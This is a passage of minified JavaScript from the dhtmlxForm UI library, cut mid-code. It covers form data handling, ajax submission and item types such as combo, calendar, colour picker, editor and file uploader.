g=document.createEvent(\"MouseEvents\");g.initEvent(c,true,false);h.dispatchEvent(g)}else{if(document.createEventObject){var g=document.createEventObject();g.button=1;h.fireEvent(\"on\"+c,g)}}if(a){window.setTimeout(function(){_dhxForm_doClick(h,a)},100)}};dhtmlXForm.prototype.setFormData=function(e){for(var c in e){var g=this.getItemType(c);switch(g){case\"checkbox\":this[e[c]==true||parseInt(e[c])==1||e[c]==\"true\"||e[c]==this.getItemValue(c,\"realvalue\")?\"checkItem\":\"uncheckItem\"](c);break;case\"radio\":this.checkItem(c,e[c]);break;case\"input\":case\"textarea\":case\"password\":case\"select\":case\"multiselect\":case\"hidden\":case\"template\":case\"combo\":case\"calendar\":case\"colorpicker\":case\"editor\":this.setItemValue(c,e[c]);break;default:if(this[\"setFormData_\"+g]){this[\"setFormData_\"+g](c,e[c])}else{if(!this.hId){this.hId=this._genStr(12)}this.setUserData(this.hId,c,e[c])}break}}};dhtmlXForm.prototype.getFormData=function(v,l){var c={};var o=this;for(var u in this.itemPull){var n=this.itemPull[u]._idd;var w=this.itemPull[u]._type;if(w==\"ch\"){c[n]=(this.isItemChecked(n)?this.getItemValue(n):0)}if(w==\"ra\"&&!c[this.itemPull[u]._group]){c[this.itemPull[u]._group]=this.getCheckedValue(this.itemPull[u]._group)}if(w in {se:1,ta:1,pw:1,hd:1,tp:1,fl:1,calendar:1,combo:1,editor:1,colorpicker:1}){c[n]=this.getItemValue(n,v)}if(this[\"getFormData_\"+w]){c[n]=this[\"getFormData_\"+w](n)}if(w==\"up\"){var h=this.getItemValue(n);for(var g in h){c[g]=h[g]}}if(this.itemPull[u]._list){for(var e=0;e<this.itemPull[u]._list.length;e++){var m=this.itemPull[u]._list[e].getFormData(v,l);for(var s in m){c[s]=m[s]}}}}if(!l&&this.hId&&this._userdata[this.hId]){for(var u in this._userdata[this.hId]){if(!c[u]){c[u]=this._userdata[this.hId][u]}}}return c};dhtmlXForm.prototype.adjustParentSize=function(){var l=0;var h=-1;for(var m=0;m<this.base.length;m++){l+=this.base[m].firstChild.offsetWidth;if(this.base[m].offsetHeight>h){h=this.base[m].offsetHeight}}var g=false;try{g=(this.cont.parentNode.parentNode.parentNode.parentNode._isCell==true);if(g){var a=this.cont.parentNode.parentNode.parentNode.parentNode}}catch(n){}if(g&&typeof(a)!=\"undefined\"){if(l>0){a.setWidth(l+10)}if(h>0){a.setHeight(h+a.firstChild.firstChild.offsetHeight+5)}g=a=null;return}var c=false;try{c=(this.cont.parentNode.parentNode.parentNode._isWindow==true);if(c){var o=this.cont.parentNode.parentNode;if(typeof(o.callEvent)==\"function\"){this.cont.style.display=\"none\";o.callEvent(\"_setCellSize\",[l+15,h+15]);this.cont.style.display=\"\"}}}catch(n){}};dhtmlXForm.prototype.reset=function(){if(this.callEvent(\"onBeforeReset\",[this.formId,this.getFormData()])){if(this._last_load_data){this.setFormData(this._last_load_data)}this.callEvent(\"onAfterReset\",[this.formId])}};dhtmlXForm.prototype.send=function(c,m,n,g){if(typeof m==\"function\"){n=m;m=\"post\"}else{m=(m==\"get\"?\"get\":\"post\")}if(g!==true&&!this.validate()){return}var l=this.getFormData(true);var h=[];for(var e in l){h.push(e+\"=\"+encodeURIComponent(l[e]))}var a=function(o){if(n){n.call(this,o,o.xmlDoc.responseText)}};if(m==\"get\"){window.dhx4.ajax.get(c+(c.indexOf(\"?\")==-1?\"?\":\"&\")+h.join(\"&\"),a)}else{window.dhx4.ajax.post(c,h.join(\"&\"),a)}};dhtmlXForm.prototype.save=function(a,c){};dhtmlXForm.prototype.dummy=function(){};dhtmlXForm.prototype._changeFormId=function(c,a){this.formId=a};dhtmlXForm.prototype._dp_init=function(a){a._methods=[\"dummy\",\"dummy\",\"_changeFormId\",\"dummy\"];a._getRowData=function(g,c){var e=this.obj.getFormData(true);e[this.action_param]=this.obj.getUserData(g,this.action_param);return e};a._clearUpdateFlag=function(){};a.attachEvent(\"onAfterUpdate\",function(e,g,h,c){if(g==\"inserted\"||g==\"updated\"){this.obj.resetDataProcessor(\"updated\");this.obj._last_load_data=this.obj.getFormData(true)}this.obj.callEvent(\"onAfterSave\",[this.obj.formId,c]);return true});a.autoUpdate=false;a.setTransactionMode(\"POST\",true);this.dp=a;this.formId=(new Date()).valueOf();this.resetDataProcessor(\"inserted\");this.save=function(){if(!this.callEvent(\"onBeforeSave\",[this.formId,this.getFormData()])){return}if(!this.validate()){return}a.sendData()}};dhtmlXForm.prototype.resetDataProcessor=function(a){if(!this.dp){return}this.dp.updatedRows=[];this.dp._in_progress=[];this.dp.setUpdated(this.formId,true,a)};dhtmlXForm.prototype._ccActivate=function(e,a,c){if(!this._formLS){this._formLS={}}if(!this._formLS[e]){this._formLS[e]={input:a,value:c}}if(!this._ccActive){this._ccActive=true;this._ccDo()}a=null};dhtmlXForm.prototype._ccDeactivate=function(a){if(this._ccTm){window.clearTimeout(this._ccTm)}this._ccActive=false;if(this._formLS!=null&&this._formLS[a]!=null){this._formLS[a].input=null;this._formLS[a]=null;delete this._formLS[a]}};dhtmlXForm.prototype._ccDo=function(){if(this._ccTm){window.clearTimeout(this._ccTm)}for(var c in this._formLS){var h=this._formLS[c].input;if(String(h.tagName).toLowerCase()==\"select\"){var e=\"\";if(h.selectedIndex>=0&&h.selectedIndex<h.options.length){e=h.options[h.selectedIndex].value}}else{var e=h.value}if(e!=this._formLS[c].value){this._formLS[c].value=e;this.callEvent(\"onInputChange\",[h._idd,e,this])}h=null}if(this._ccActive){var g=this;this._ccTm=window.setTimeout(function(){g._ccDo();g=null},100)}};dhtmlXForm.prototype._ccReload=function(c,a){if(this._formLS&&this._formLS[c]){this._formLS[c].value=a}};dhtmlXForm.prototype._checkDim=function(m,l){var g=document.createElement(\"DIV\");g.className=\"dhxform_obj_\"+this.skin;g.style.cssText+=(dhx4.isIE6==true?\"visibility:hidden;\":\"position:absolute;left:-2000px;top:-1000px;\");document.body.appendChild(g);var h=m.parentNode;var c=m.nextSibling;g.appendChild(m);var e=parseInt(l.style.width);var a=(dhx4.isFF||dhx4.isIE||dhx4.isChrome||dhx4.isOpera?l.offsetWidth:l.clientWidth);var n=a-e;if(c!=null){h.insertBefore(m,c)}else{h.appendChild(m)}g.parentNode.removeChild(g);h=c=g=m=l=null;return n};dhtmlXForm.prototype._autoload=function(){var c=[\"ftype\",\"name\",\"value\",\"label\",\"check\",\"checked\",\"disabled\",\"text\",\"rows\",\"select\",\"selected\",\"width\",\"style\",\"className\",\"labelWidth\",\"labelHeight\",\"labelLeft\",\"labelTop\",\"inputWidth\",\"inputHeight\",\"inputLeft\",\"inputTop\",\"position\",\"size\"];var e=document.getElementsByTagName(\"UL\");var g=[];for(var m=0;m<e.length;m++){if(e[m].className==\"dhtmlxForm\"){var l=document.createElement(\"DIV\");g[g.length]={nodeUL:e[m],nodeForm:l,data:dhtmlXForm.prototype._ulToObject(e[m],c),name:(e[m].getAttribute(\"name\")||null)}}}for(var m=0;m<g.length;m++){g[m].nodeUL.parentNode.insertBefore(g[m].nodeForm,g[m].nodeUL);var n=new dhtmlXForm(g[m].nodeForm,g[m].data);if(g[m].name!==null){window[g[m].name]=n}var h=(g[m].nodeUL.getAttribute(\"oninit\")||null);g[m].nodeUL.parentNode.removeChild(g[m].nodeUL);g[m].nodeUL=null;g[m].nodeForm=null;g[m].data=null;g[m]=null;if(h){if(typeof(h)==\"function\"){h()}else{if(typeof(window[h])==\"function\"){window[h]()}}}}if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"load\",dhtmlXForm.prototype._autoload,false)}else{window.detachEvent(\"onload\",dhtmlXForm.prototype._autoload)}};if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"load\",dhtmlXForm.prototype._autoload,false)}else{window.attachEvent(\"onload\",dhtmlXForm.prototype._autoload)}if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachForm=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"form\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";if(window.dhtmlx&&dhtmlx.$customScroll){dhtmlx.CustomScroll.enable(c)}else{c.style.overflow=\"auto\"}this._attachObject(c);this.dataType=\"form\";this.dataObj=new dhtmlXForm(c,a);this.dataObj.setSkin(this.conf.skin);c=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj}}dhtmlXForm.prototype.items.combo={render:function(c,e){c._type=\"combo\";c._enabled=true;c._value=null;c._newValue=null;this.doAddLabel(c,e);this.doAddInput(c,e,\"SELECT\",null,true,true,\"dhxform_select\");this.doAttachEvents(c);this.doLoadOpts(c,e);c.onselectstart=function(g){return true};c.childNodes[c._ll?1:0].childNodes[0].setAttribute(\"mode\",e.comboType||\"\");if(e.comboImagePath){c.childNodes[c._ll?1:0].childNodes[0].setAttribute(\"imagePath\",e.comboImagePath)}if(e.comboDefaultImage){c.childNodes[c._ll?1:0].childNodes[0].setAttribute(\"defaultImage\",e.comboDefaultImage)}if(e.comboDefaultImageDis){c.childNodes[c._ll?1:0].childNodes[0].setAttribute(\"defaultImageDis\",e.comboDefaultImageDis)}c._combo=new dhtmlXComboFromSelect(c.childNodes[c._ll?1:0].childNodes[0]);c._combo.setSkin(c.getForm().skin);c._combo._currentComboValue=c._combo.getSelectedValue();c._combo.getInput().id=e.uid;var a=this;c._combo.attachEvent(\"onChange\",function(){a.doOnChange(this)});if(e.connector){this.doLoadOptsConnector(c,e.connector)}if(e.filtering){c._combo.enableFilteringMode(true)}else{if(e.serverFiltering){c._combo.enableFilteringMode(true,e.serverFiltering,e.filterCache,e.filterSubLoad)}}if(e.readonly==true){this.setReadonly(c,true)}if(e.style){c._combo.DOMelem_input.style.cssText+=e.style}c._combo.attachEvent(\"onFocus\",function(){var g=this.cont.parentNode.parentNode;var h=g.getForm();if(h.skin==\"dhx_terrace\"&&this.cont.className.search(/combo_in_focus/)<0){this.cont.className+=\" combo_in_focus\"}h.callEvent(\"onFocus\",[g._idd]);h=g=null});c._combo.attachEvent(\"onBlur\",function(){var g=this.cont.parentNode.parentNode;var h=g.getForm();if(h.skin==\"dhx_terrace\"&&this.cont.className.search(/combo_in_focus/)>=0){this.cont.className=this.cont.className.replace(/\\s{0,}combo_in_focus/gi,\"\")}h.callEvent(\"onBlur\",[g._idd]);h=g=null});return this},destruct:function(a){a.childNodes[a._ll?1:0].childNodes[0].onchange=null;a._combo._currentComboValue=null;a._combo.unload();a._combo=null;a._apiChange=null;this.d2(a);a=null},doAttachEvents:function(c){var a=this;c.childNodes[c._ll?1:0].childNodes[0].onchange=function(){a.doOnChange(this);a.doValidate(this.DOMParent.parentNode.parentNode)}},doValidate:function(a){if(a.getForm().hot_validate){this._validate(a)}},doOnChange:function(c){var a=c.base.parentNode.parentNode.parentNode;if(a._apiChange){return}c._newComboValue=c.getSelectedValue();if(c._newComboValue!=c._currentComboValue){if(a.checkEvent(\"onBeforeChange\")){if(a.callEvent(\"onBeforeChange\",[a._idd,c._currentComboValue,c._newComboValue])!==true){window.setTimeout(function(){c.setComboValue(c._currentComboValue)},1);return false}}c._currentComboValue=c._newComboValue;a.callEvent(\"onChange\",[a._idd,c._currentComboValue])}a._autoCheck(a._enabled)},doLoadOptsConnector:function(g,a){var e=this;var c=g;g._connector_working=true;g._apiChange=true;g._combo.load(a,function(){c.callEvent(\"onOptionsLoaded\",[c._idd]);c._connector_working=false;if(c._connector_value!=null){e.setValue(c,c._connector_value);c._connector_value=null}c._apiChange=false;e=c=null})},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true;a._combo.enable()},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false;a._combo.disable()},getCombo:function(a){return a._combo},setValue:function(a,c){if(a._connector_working){a._connector_value=c;return}a._apiChange=true;a._combo.setComboValue(c);a._combo._currentComboValue=a._combo.getActualValue();a._apiChange=false},getValue:function(a){return a._combo.getActualValue()},setWidth:function(c,a){c.childNodes[c._ll?1:0].childNodes[0].style.width=a+\"px\"},setReadonly:function(a,c){if(!a._combo){return}a._combo_ro=c;a._combo.readonly(a._combo_ro)},isReadonly:function(a,c){return a._combo_ro||false},setFocus:function(a){if(a._enabled){a._combo.setFocus()}},_setCss:function(a,e,c){a._combo.setFontSize(c,c)}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doLoadOpts:1,doUnloadNestedLists:1,setText:1,getText:1,isEnabled:1,_checkNoteWidth:1}){dhtmlXForm.prototype.items.combo[c]=dhtmlXForm.prototype.items.select[c]}})();dhtmlXForm.prototype.items.combo.d2=dhtmlXForm.prototype.items.select.destruct;dhtmlXForm.prototype.getCombo=function(a){return this.doWithItem(a,\"getCombo\")};dhtmlXForm.prototype.items.calendar={render:function(e,h){var c=this;e._type=\"calendar\";e._enabled=true;var l=navigator.userAgent;var a=(l.indexOf(\"MSIE 6.0\")>=0||l.indexOf(\"MSIE 7.0\")>=0||l.indexOf(\"MSIE 8.0\")>=0);this.doAddLabel(e,h);this.doAddInput(e,h,\"INPUT\",\"TEXT\",true,true,\"dhxform_textarea calendar\");this.doAttachChangeLS(e);if(a){e.childNodes[e._ll?1:0].childNodes[0].onfocus2=e.childNodes[e._ll?1:0].childNodes[0].onfocus;e.childNodes[e._ll?1:0].childNodes[0].onfocus=function(){if(this._skipOnFocus==true){this._skipOnFocus=false;return}this.onfocus2.apply(this,arguments)}}e.childNodes[e._ll?1:0].childNodes[0]._idd=e._idd;e.childNodes[e._ll?1:0].childNodes[0].onblur=function(){var m=this.parentNode.parentNode;if(m._c.base._formMouseDown){m._c.base._formMouseDown=false;this._skipOnFocus=true;this.focus();this.value=this.value;m=null;return true}var n=m.getForm();n._ccDeactivate(m._idd);c.checkEnteredValue(this.parentNode.parentNode);if(n.live_validate){c._validate(m)}n.callEvent(\"onBlur\",[m._idd]);n=m=null};e._f=(h.dateFormat||null);e._f0=(h.serverDateFormat||e._f);var g=e.getForm();e._c=new dhtmlXCalendarObject(e.childNodes[e._ll?1:0].childNodes[0],h.skin||g.skin||\"dhx_skyblue\");e._c._nullInInput=true;e._c.enableListener(e.childNodes[e._ll?1:0].childNodes[0]);if(e._f!=null){e._c.setDateFormat(e._f)}if(!window.dhx4.s2b(h.enableTime)){e._c.hideTime()}if(window.dhx4.s2b(h.showWeekNumbers)){e._c.showWeekNumbers()}if(!isNaN(h.weekStart)){e._c.setWeekStartDay(h.weekStart)}if(typeof(h.calendarPosition)!=\"undefined\"){e._c.setPosition(h.calendarPosition)}if(h.minutesInterval!=null){e._c.setMinutesInterval(h.minutesInterval)}e._c._itemIdd=e._idd;e._c.attachEvent(\"onBeforeChange\",function(m){if(e._value!=m){if(e.checkEvent(\"onBeforeChange\")){if(e.callEvent(\"onBeforeChange\",[e._idd,e._value,m])!==true){return false}}e._tempValue=e._value=m;c.setValue(e,m,false);e.callEvent(\"onChange\",[this._itemIdd,e._value])}return true});e._c.attachEvent(\"onClick\",function(){e._tempValue=null});if(a){e._c.base.onmousedown=function(){this._formMouseDown=true;return false}}this.setValue(e,h.value);g=null;return this},getCalendar:function(a){return a._c},setSkin:function(a,c){a._c.setSkin(c)},setValue:function(c,e,a){if(!e||e==null||typeof(e)==\"undefined\"||e==\"\"){c._value=null;c.childNodes[c._ll?1:0].childNodes[0].value=\"\"}else{c._value=(e instanceof Date?e:c._c._strToDate(e,c._f0||c._c._dateFormat));c.childNodes[c._ll?1:0].childNodes[0].value=c._c._dateToStr(c._value,c._f||c._c._dateFormat)}if(a!==false){c._c.setDate(c._value)}},getValue:function(c,a){var e=c._tempValue||c._c.getDate();if(a===true&&e==null){return\"\"}return(a===true?c._c._dateToStr(e,c._f0||c._c._dateFormat):e)},setDateFormat:function(c,a,e){c._f=a;c._f0=(e||c._f);c._c.setDateFormat(c._f);this.setValue(c,this.getValue(c))},destruct:function(a){a._c.disableListener(a.childNodes[a._ll?1:0].childNodes[0]);a._c.unload();a._c=null;try{delete a._c}catch(c){}a._f=null;try{delete a._f}catch(c){}a._f0=null;try{delete a._f0}catch(c){}a.childNodes[a._ll?1:0].childNodes[0]._idd=null;a.childNodes[a._ll?1:0].childNodes[0].onblur=null;this.d2(a);a=null},checkEnteredValue:function(a){this.setValue(a,a._c.getDate())}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doUnloadNestedLists:1,setText:1,getText:1,enable:1,disable:1,isEnabled:1,setWidth:1,setReadonly:1,isReadonly:1,setFocus:1,getInput:1}){dhtmlXForm.prototype.items.calendar[c]=dhtmlXForm.prototype.items.input[c]}})();dhtmlXForm.prototype.items.calendar.doAttachChangeLS=dhtmlXForm.prototype.items.select.doAttachChangeLS;dhtmlXForm.prototype.items.calendar.d2=dhtmlXForm.prototype.items.input.destruct;dhtmlXForm.prototype.getCalendar=function(a){return this.doWithItem(a,\"getCalendar\")};dhtmlXForm.prototype.setCalendarDateFormat=function(c,a,e){this.doWithItem(c,\"setDateFormat\",a,e)};dhtmlXForm.prototype.items.btn2state={setChecked:function(a,c){a._checked=(c===true?true:false);a.childNodes[a._ll?1:0].lastChild.className=\"dhxform_img \"+a._cssName+\"_\"+(a._checked?\"1\":\"0\");this.doCheckValue(a)}};(function(){for(var c in dhtmlXForm.prototype.items.checkbox){if(!dhtmlXForm.prototype.items.btn2state[c]){dhtmlXForm.prototype.items.btn2state[c]=dhtmlXForm.prototype.items.checkbox[c]}}})();dhtmlXForm.prototype.items.btn2state.render2=dhtmlXForm.prototype.items.btn2state.render;dhtmlXForm.prototype.items.btn2state.render=function(a,c){c._autoInputWidth=false;this.render2(a,c);a._type=\"btn2state\";a._cssName=(typeof(c.cssName)==\"undefined\"?\"btn2state\":c.cssName);a._updateImgNode=function(){};a._doOnFocus=function(){a.getForm().callEvent(\"onFocus\",[a._idd])};a._doOnBlur=function(){a.getForm().callEvent(\"onBlur\",[a._idd])};a._doOnKeyUpDown=function(g,e,h){this.callEvent(g,[this.childNodes[this._ll?0:1].childNodes[0],e,this._idd])};this.setChecked(a,a._checked);return this};dhtmlXForm.prototype.setFormData_btn2state=function(a,c){this[c==true||parseInt(c)==1||c==\"true\"||c==this.getItemValue(a)?\"checkItem\":\"uncheckItem\"](a)};dhtmlXForm.prototype.getFormData_btn2state=function(a){return(this.isItemChecked(a)?this.getItemValue(a):0)};dhtmlXForm.prototype.items.colorpicker={colorpicker:{},render:function(e,g){var c=this;e._type=\"colorpicker\";e._enabled=true;this.doAddLabel(e,g);this.doAddInput(e,g,\"INPUT\",\"TEXT\",true,true,\"dhxform_textarea\");e._value=(g.value||\"\");e.childNodes[e._ll?1:0].childNodes[0].value=e._value;var a={input:e.childNodes[e._ll?1:0].childNodes[0],custom_colors:(window.dhx4.s2b(g.enableCustomColors)==true),skin:e.getForm().skin};this.colorpicker[e._idd]=new dhtmlXColorPicker(a);this.colorpicker[e._idd]._nodes[0].valueColor=null;this.colorpicker[e._idd].base.className+=\" dhtmlxcp_in_form\";if(typeof(g.customColors)!=\"undefined\"){this.colorpicker[e._idd].setCustomColors(g.customColors)}if(typeof(g.cpPosition)==\"string\"){this.colorpicker[e._idd].setPosition(g.cpPosition)}this.colorpicker[e._idd].attachEvent(\"onSelect\",function(h){if(e._value!=h){if(e.checkEvent(\"onBeforeChange\")){if(e.callEvent(\"onBeforeChange\",[e._idd,e._value,h])!==true){e.childNodes[e._ll?1:0].childNodes[0].value=e._value;return}}e._value=h;c.setValue(e,h);e.callEvent(\"onChange\",[e._idd,e._value])}});this.colorpicker[e._idd].attachEvent(\"onHide\",function(h){var l=e.childNodes[e._ll?1:0].childNodes[0];if(l.value!=e._value){l.value=e._value}l=null});e.childNodes[e._ll?1:0].childNodes[0]._idd=e._idd;return this},getColorPicker:function(a){return this.colorpicker[a._idd]},destruct:function(a){if(this.colorpicker[a._idd].unload){this.colorpicker[a._idd].unload()}this.colorpicker[a._idd]=null;try{delete this.colorpicker[a._idd]}catch(c){}a.childNodes[a._ll?1:0].childNodes[0]._idd=null;this.d2(a);a=null},setSkin:function(a,c){this.colorpicker[a._idd].setSkin(c)}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doUnloadNestedLists:1,setText:1,getText:1,enable:1,disable:1,isEnabled:1,setWidth:1,setReadonly:1,isReadonly:1,setValue:1,getValue:1,updateValue:1,setFocus:1,getInput:1}){dhtmlXForm.prototype.items.colorpicker[c]=dhtmlXForm.prototype.items.input[c]}})();dhtmlXForm.prototype.items.colorpicker.d2=dhtmlXForm.prototype.items.input.destruct;dhtmlXForm.prototype.getColorPicker=function(a){return this.doWithItem(a,\"getColorPicker\")};dhtmlXForm.prototype.items.container={render:function(a,c){a._type=\"container\";a._enabled=true;this.doAddLabel(a,c);this.doAddInput(a,c,\"DIV\",null,true,true,\"dhxform_container\");return this},getContainer:function(a){return a.childNodes[a._ll?1:0].childNodes[0]},enable:function(a){a._enabled=true;if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a.callEvent(\"onEnable\",[a._idd])},disable:function(a){a._enabled=false;if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a.callEvent(\"onDisable\",[a._idd])},doAttachEvents:function(){},setValue:function(){},getValue:function(){return null}};dhtmlXForm.prototype.getContainer=function(a){return this.doWithItem(a,\"getContainer\")};(function(){for(var c in dhtmlXForm.prototype.items.input){if(!dhtmlXForm.prototype.items.container[c]){dhtmlXForm.prototype.items.container[c]=dhtmlXForm.prototype.items.input[c]}}})();dhtmlXForm.prototype.items.editor={editor:{},render:function(e,g){var a=(!isNaN(g.rows));e._type=\"editor\";e._enabled=true;e._editor_id=e.getForm().idPrefix+e._idd;this.doAddLabel(e,g);this.doAddInput(e,g,\"DIV\",null,true,true,\"dhxform_item_template\");e._value=(g.value||\"\");var c=this;this.editor[e._editor_id]=new dhtmlXEditor({parent:e.childNodes[e._ll?1:0].childNodes[0],content:e._value,iconsPath:g.iconsPath,toolbar:g.toolbar});this.editor[e._editor_id].attachEvent(\"onAccess\",function(l,m){e.callEvent(\"_onBeforeEditorAccess\",[]);_dhxForm_doClick(document.body,\"click\");if(l==\"blur\"){c.doOnBlur(e,this);e.callEvent(\"onBlur\",[e._idd]);if(e.getForm().skin==\"dhx_terrace\"){var h=e.childNodes[e._ll?1:0].className;if(h.indexOf(\"dhxeditor_focus\")>=0){e.childNodes[e._ll?1:0].className=(h).replace(/\\s{0,}dhxeditor_focus/gi,\"\")}}}else{e.callEvent(\"onEditorAccess\",[e._idd,l,m,this,e.getForm()]);e.callEvent(\"onFocus\",[e._idd]);if(e.getForm().skin==\"dhx_terrace\"){var h=e.childNodes[e._ll?1:0].className;if(h.indexOf(\"dhxeditor_focus\")==-1){e.childNodes[e._ll?1:0].className+=\" dhxeditor_focus\"}}}});this.editor[e._editor_id].attachEvent(\"onToolbarClick\",function(h){e.callEvent(\"onEditorToolbarClick\",[e._idd,h,this,e.getForm()])});if(g.readonly){this.setReadonly(e,true)}e.childNodes[e._ll?0:1].childNodes[0].removeAttribute(\"for\");e.childNodes[e._ll?0:1].childNodes[0].onclick=function(){c.editor[e._editor_id]._focus()};return this},doOnBlur:function(e,c){var a=c.getContent();if(e._value!=a){if(e.checkEvent(\"onBeforeChange\")){if(e.callEvent(\"onBeforeChange\",[e._idd,e._value,a])!==true){c.setContent(e._value);return}}e._value=a;e.callEvent(\"onChange\",[e._idd,a])}},setValue:function(a,c){if(a._value==c){return}a._value=c;this.editor[a._editor_id].setContent(a._value)},getValue:function(a){a._value=this.editor[a._editor_id].getContent();return a._value},enable:function(a){if(this.isEnabled(a)!=true){this.editor[a._editor_id].setReadonly(false);this.doEn(a)}},disable:function(a){if(this.isEnabled(a)==true){this.editor[a._editor_id].setReadonly(true);this.doDis(a)}},setReadonly:function(a,c){this.editor[a._editor_id].setReadonly(c)},getEditor:function(a){return(this.editor[a._editor_id]||null)},destruct:function(a){a.childNodes[a._ll?0:1].childNodes[0].onclick=null;this.editor[a._editor_id].unload();this.editor[a._editor_id]=null;this.d2(a);a=null},setFocus:function(a){this.editor[a._editor_id]._focus()}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doUnloadNestedLists:1,setText:1,getText:1,setWidth:1,isEnabled:1}){dhtmlXForm.prototype.items.editor[c]=dhtmlXForm.prototype.items.template[c]}})();dhtmlXForm.prototype.items.editor.d2=dhtmlXForm.prototype.items.select.destruct;dhtmlXForm.prototype.items.editor.doEn=dhtmlXForm.prototype.items.select.enable;dhtmlXForm.prototype.items.editor.doDis=dhtmlXForm.prototype.items.select.disable;dhtmlXForm.prototype.getEditor=function(a){return this.doWithItem(a,\"getEditor\")};dhtmlXForm.prototype.items.upload={render:function(c,e){c._type=\"up\";c._enabled=true;c._checked=true;c.className=e.position+(typeof(e.className)==\"string\"?\" \"+e.className:\"\");var a=document.createElement(\"DIV\");c.appendChild(a);if(!isNaN(e.inputLeft)){c.style.left=parseInt(e.inputLeft)+\"px\"}if(!isNaN(e.inputTop)){c.style.top=parseInt(e.inputTop)+\"px\"}if(e.inputWidth!=\"auto\"){if(!isNaN(e.inputWidth)){a.style.width=parseInt(e.inputWidth)+\"px\"}}c._uploader=new dhtmlXFileUploader(a,e.swfPath||\"\",e.swfUrl||\"\",e.mode||null,e.swfLogs,e.slXap||\"\",e.slUrl||\"\",e.slLogs||\"\",e.multiple);c._uploader.setURL(e.url||\"\");c._uploader.callEvent=c.callEvent;if(typeof(e.autoStart)!=\"undefined\"){c._uploader.setAutoStart(e.autoStart)}if(typeof(e.autoRemove)!=\"undefined\"){c._uploader.setAutoRemove(e.autoRemove)}if(typeof(e.titleScreen)!=\"undefined\"){c._uploader.enableTitleScreen(e.titleScreen)}if(typeof(e.titleText)!=\"undefined\"){c._uploader.setTitleText(e.titleText)}if(e.hidden==true){this.hide(c)}if(e.disabled==true){this.userDisable(c)}if(!(e.inputHeight==\"auto\"||parseInt(e.inputHeight)==NaN)){c._uploader.p_files.style.height=parseInt(e.inputHeight)+\"px\"}return this},destruct:function(a){this.doUnloadNestedLists(a);a._uploader.callEvent=function(){return true};a._uploader.unload();a._uploader.callEvent=null;a._uploader=null;a._checked=null;a._enabled=null;a._idd=null;a._type=null;a.onselectstart=null;a._autoCheck=null;a.callEvent=null;a.checkEvent=null;a.getForm=null;while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},setText:function(a,c){},getText:function(a){},enable:function(a){a._enabled=true;if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._uploader.enable()},disable:function(a){a._enabled=false;if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._uploader.disable()},setWidth:function(c,a){c.childNodes[0].style.width=a+\"px\";c._width=a},getWidth:function(a){return a._width||parseInt(a.childNodes[0].style.width)},setValue:function(a){a._uploader.clear()},getValue:function(l){var g=l._uploader.getData();var h={};var e=0;for(var c in g){h[l._idd+\"_r_\"+e]=g[c].realName;h[l._idd+\"_s_\"+e]=g[c].serverName;e++}h[l._idd+\"_count\"]=e;return h},getUploader:function(a){return a._uploader},getStatus:function(a){return a._uploader.getStatus()}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.upload[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.setFormData_upload=function(a){this.doWithItem(a,\"setValue\")};dhtmlXForm.prototype.getUploader=function(a){return this.doWithItem(a,\"getUploader\")};dhtmlXForm.prototype.getUploaderStatus=function(a){return this.doWithItem(a,\"getStatus\")};function dhtmlXFileUploader(c,n,m,o,s,l,v,h,w){var q=this;if(typeof(o)==\"string\"&&typeof(this[o])==\"function\"){this.engine=o}else{this.engine=\"html4\";var g=null;if(typeof(window.FormData)!=\"undefined\"&&typeof(window.XMLHttpRequest)!=\"undefined\"){g=new XMLHttpRequest();if(typeof(g.upload)==\"undefined\"){g=null}}if(g!=null){this.engine=\"html5\"}else{if(typeof(window.swfobject)!=\"undefined\"||g===false){var g=swfobject.getFlashPlayerVersion();if(g.major>=10){this.engine=\"flash\"}}else{this._sl_v=this.getSLVersion();if(this._sl_v){this.engine=\"sl\"}}}g=null}if(typeof(c)==\"string\"){c=document.getElementById(c)}this._upload_mp=(typeof(w)!=\"undefined\"?w==true:true);this._upload_dnd=true;this._swf_file_url=n||\"\";this._swf_upolad_url=m||\"\";this._swf_logs=s;this._sl_xap=l;this._sl_upload_url=v;this._sl_logs=h;this.p=document.createElement(\"DIV\");this.p.className+=\" dhx_file_uploader\";c.appendChild(this.p);this.p_files=document.createElement(\"DIV\");this.p_files.className=\"dhx_upload_files\";this.p.appendChild(this.p_files);this.p_controls=document.createElement(\"DIV\");this.p_controls.className=\"dhx_upload_controls\";this.p.appendChild(this.p_controls);this._files={};this._items={};this._data={};this._autoStart=false;this._autoRemove=false;this._titleScreen=true;this._enabled=true;this._uploaded_count=0;this._initToolbar=function(){this.b_opts={info:{onclick:null},browse:{onclick:null,tooltip:\"Browse\"},upload:{onclick:function(){if(!q._enabled){return}if(!q._uploading){q._uploadStart()}},tooltip:\"Upload\"},cancel:{onclick:function(){if(!q._enabled){return}q._uploadStop();q._switchButton(false)},tooltip:\"Stop\"},clear:{onclick:function(){if(!q._enabled){return}q.clear()},tooltip:\"Clear list\"}};this.buttons={};for(var e in this.b_opts){var x=document.createElement(\"DIV\");x.innerHTML=\"&nbsp;\";x.className=\"dhx_file_uploader_button button_\"+e;x.onclick=this.b_opts[e].onclick;if(this.b_opts[e].tooltip){x.title=this.b_opts[e].tooltip}this.p_controls.appendChild(x);this.buttons[e]=x;x=null}this.buttons.cancel.style.display=\"none\"};this._readableSize=function(x){var e=false;var 